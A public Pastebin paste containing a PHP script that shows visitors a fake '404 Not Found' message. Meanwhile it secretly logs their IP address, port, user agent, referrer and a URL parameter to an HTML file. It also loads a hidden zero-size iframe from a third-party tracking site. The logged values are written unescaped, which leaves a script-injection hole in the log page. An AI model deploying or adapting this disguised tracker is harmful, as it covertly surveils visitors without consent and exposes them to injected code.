Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Mar 19th, 2010 | Syntax: None | Size: 0.84 KB | Hits: 192 | Expires: Never
Copy text to clipboard
  1. <?php
  2.  
  3. echo "404 Not Found";
  4.  
  5. #Initial Loading Code
  6. $file = fopen("out.html" , "a");
  7.  
  8. #Time Stamp
  9. $time = date("H:i dS F");
  10. fwrite($file,"Time: $time <br>");
  11.  
  12. #Note
  13. $note = $_GET['note'];
  14. fwrite($file,"Note: $note <br>");
  15.  
  16. #Website Referal
  17. $ref = $_SERVER['HTTP_REFERER'];
  18. fwrite($file,"Referal: $ref <br>");
  19.  
  20. #User Agent
  21. $agent = $_SERVER['HTTP_USER_AGENT'];
  22. fwrite($file,"User Agent: $agent <br>");
  23.  
  24. #IP Adress
  25. $ip = $_SERVER['REMOTE_ADDR'];
  26. $port = $_SERVER['REMOTE_PORT'];
  27. fwrite($file,"IP Adress: $ip:$port <br>");
  28.  
  29.  
  30. #Have Your Friends Been There
  31. $hyfbt="wfxl";
  32. echo "<iframe src=http://www.hyfbt.com/$hyfbt width='0' height='0' border=0 style='display:none;width:0px; height:0px; border: 0px;'>";
  33. fwrite($file,"HYFBT Link: http://www.haveyourfriendsbeenthere.com/?id=$hyfbt <br>");
  34.  
  35. #End File
  36. fwrite($file,"<br>");
  37.  
  38.  
  39. ?>